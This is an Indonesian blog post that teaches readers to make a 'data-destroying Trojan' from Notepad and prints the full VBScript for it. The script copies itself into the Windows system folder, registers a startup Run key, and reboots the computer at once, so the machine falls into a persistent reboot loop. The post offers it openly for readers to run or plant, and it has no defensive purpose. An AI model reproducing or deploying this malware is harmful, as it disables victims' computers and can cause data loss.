Membuat Virus Perusak Data Dari Notepad Jenis Trojan

" Membuat Virus Perusak Data Dari Notepad Jenis Trojan "

Bagi Teman teman yang ingin belajar membuat virus, kali ini saya akan memberikan sebuah script untuk membuat virus sederhana dari notepad berjenis trojan, virus ini pun mampu merusak datadata yang terdapat di komputer / laptop kita, olehkarnanya apabila akan mencobanya harus berhati hari dalam pengoprasiannya, caranya apabila virus ini akan di tanamkan / dijalankan silahkan save script yang di tulis di notepad dengan ekstensi .vbs dan apabila tidak akan ditanamkan atau dijalankan simpan saja dengan ekstensi .txt
Contoh : 
( Virus.vbs ) dengan file ekstensi tersebut maka virus akan aktif dan apabila di save dengan ekstensi ( Virus.txt ) maka virus ini tidak akan berjalan dan akan tersimpan berupa text / notepad.

Berikut adalah script untuk membuat virusnya :

rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function


Read more: Membuat Virus Perusak Data Dari Notepad Jenis Trojan | AmirHamzahPorang.Blogspot.com http://AmirHamzahPorang.Blogspot.com /2012/03/membuat-virus-perusak-data-dari-notepad.html#ixzz2H5zbhlnl
Please Attach Sources After Copying
Under Creative Commons License: Attribution Non-Commercial Share Alike

Bagikan ke

Facebook Google+ Twitter